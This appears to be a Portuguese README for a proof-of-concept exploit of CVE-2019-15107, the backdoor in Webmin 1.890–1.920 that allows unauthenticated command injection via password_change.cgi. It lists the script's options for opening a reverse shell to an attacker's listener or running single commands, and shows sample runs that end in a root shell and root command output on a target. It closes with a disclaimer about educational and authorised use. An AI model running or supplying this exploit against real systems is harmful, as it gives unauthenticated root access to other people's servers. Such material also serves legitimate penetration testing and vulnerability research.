
Exploit de prova de conceito para CVE-2019-15107 (Webmin <= 1.920) que permite RCE não autenticado via injeção de comandos.
Este repositório contém um exploit de prova de conceito (PoC) para o CVE-2019-15107 que afeta as versões 1.890 a 1.920 do Webmin.
O script explora uma backdoor nas versões 1.890 a 1.920 que permite que usuários não autenticados injetem comandos no endpoint password_change.cgi através do parâmetro old (em v.1.890 expired). Apenas os downloads do SourceForge continham a backdoor, mas estão listados como downloads oficiais no site do projeto.
Atacante(s) desconhecido(s) inseriram declarações Perl qx no código-fonte do servidor de build em duas ocasiões separadas: uma em abril de 2018, introduzindo a backdoor na versão 1.890, e outra em julho de 2018, reintroduzindo a backdoor nas versões 1.900 a 1.920.
Somente a versão 1.890 é explorável na instalação padrão. As versões afetadas posteriores exigem que o recurso de alteração de senha expirada esteja habilitado.
O exploit foi testado com sucesso contra:
python3 cve-2019-15107.py -r <TARGET_IP> -l <LOCAL_IP> [options]
options:
-h, --help Show this help message and exit
-r, --rhost RHOST Target IP address
-rp, --rport RPORT Target port (default: 10000)
-l, --lhost LHOST Local IP for reverse shell
-lp, --lport LPORT Local port for reverse shell (default: 4343)
-s, --scheme {http,https} Protocol to use (default: https)
-x, --proxy [PROXY] Use proxy (default: http://127.0.0.1:8080)
-f, --force Force exploitation even if detection fails
-c, --cmd CMD Execute a single command instead of reverse shell
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[*] Starting listener on port 4343...
listening on [any] 4343 ...
[*] Sending payload...
connect to [192.168.158.129] from (UNKNOWN) [10.114.159.93] 59970
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
root@source:/usr/share/webmin/# whoami
whoami
root
root@source:/usr/share/webmin/#
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129 -c whoami
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[+] Command output:
========================================
root
Esta ferramenta é apenas para fins educacionais e de testes autorizados. O uso não autorizado contra sistemas que você não possui ou não tem permissão para testar é ilegal. Use com responsabilidade.